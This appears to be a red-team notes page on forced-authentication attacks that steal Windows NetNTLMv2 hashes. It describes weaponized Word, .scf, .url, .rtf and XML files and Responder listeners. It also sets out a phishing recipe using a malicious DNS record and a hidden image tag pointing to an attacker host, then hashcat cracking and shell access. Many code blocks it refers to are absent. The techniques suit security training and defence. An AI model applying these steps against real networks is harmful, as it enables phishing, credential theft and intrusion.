Forced Authentication
Credential Access, Stealing hashes
Last updated
Credential Access, Stealing hashes
Last updated
Let's create a Word document that has a hyperlink to our attacking server where responder will be listening on port 445:
Let's start Responder on our kali box:
Once the link in the document is clicked, the target system sends an authentication request to the attacking host. Since responder is listening on the other end, victim's NetNTLMv2 hash is captured:
The retrieved hash can then be cracked offline with hashcat:
Success, the password is cracked:
Using the cracked passsword to get a shell on the victim system:
Place the below fa.scf file on the attacker controlled machine at 10.0.0.7 in a shared folder tools
A victim user low opens the share \\10.0.0.7\tools and the fa.scf gets executed automatically, which in turn forces the victim system to attempt to authenticate to the attacking system at 10.0.0.5 where responder is listening:
What's interesting with the .scf attack is that the file could easily be downloaded through the browser and as soon as the user navigates to the Downloads folder, users's hash is stolen:
Create a weaponized .url file and upload it to the victim system:
Create a listener on the attacking system:
Once the victim navigates to the C:\ where link.url file is placed, the OS tries to authenticate to the attacker's malicious SMB listener on 10.0.0.5 where NetNTLMv2 hash is captured:
Weaponizing .rtf file, which will attempt to load an image from the attacking system:
Starting authentication listener on the attacking system:
Executing the file.rtf on the victim system gives away user's hashes:
MS Word Documents can be saved as .xml:
This can be exploited by including a tag that requests the document stylesheet (line 3) from an attacker controlled server. The victim system will share its NetNTLM hashes with the attacker when attempting to authenticate to the attacker's system:
Below is the attack illustrated:
Create a new Word document and insert a new field IncludePicture:
Save the file as .xml. Note that the sneaky image url is present in the XML:
Launching the document gives away victim's hashes immediately:
If we have a foothold in a network, we can do the following:
Create a new DNS A record (any authenticated user can do it) inside the domain, say offense.local, you have a foothold in, and point it to your external server, say 1.1.1.1
Use PowerMad to do this with: Invoke-DNSUpdate -dnsname vpn -dnsdata 1.1.1.1
On your controlled server 1.1.1.1, start Responder and listen for HTTP connections on port 80
Create a phishing email, that contains <img src="http://vpn.offense.local"/>
Feel free to make the image 1x1 px or hidden
Note that http://vpn.offense.local resolves to 1.1.1.1 (where your Responder is listening on port 80), but only from inside the offense.local domain
Send the phish to target users from the offense.local domain
Phish recipients view the email, which automatically attemps to load the image from http://vpn.offense.local, which resolves to http://1.1.1.1 (where Responder is litening on port 80)
Responder catches NetNLTMv2 hashes for the targeted users with no user interaction required
Start cracking the hashes
Hopefully profit
When inside a network, we can attempt to force hash leaks from other users by forcing them to authenticate to our WebDav server that we can bind to any an unused port without administrator privileges. To achieve this, we can use a tool called Farmer by @domchell.
Below will make the farmer listen on port 7443:
Below shows how the Farmer successfully collects a hash for the user spotless when they are forced to authenticate to the malicious webdav when ls \\spotless@7443\spotless.png is executed:
Below shows how the Farmer successfully collects a hash from user spotless via a shortcut icon that points to our malicious webdav at \\spotless@3443\spotless.png:
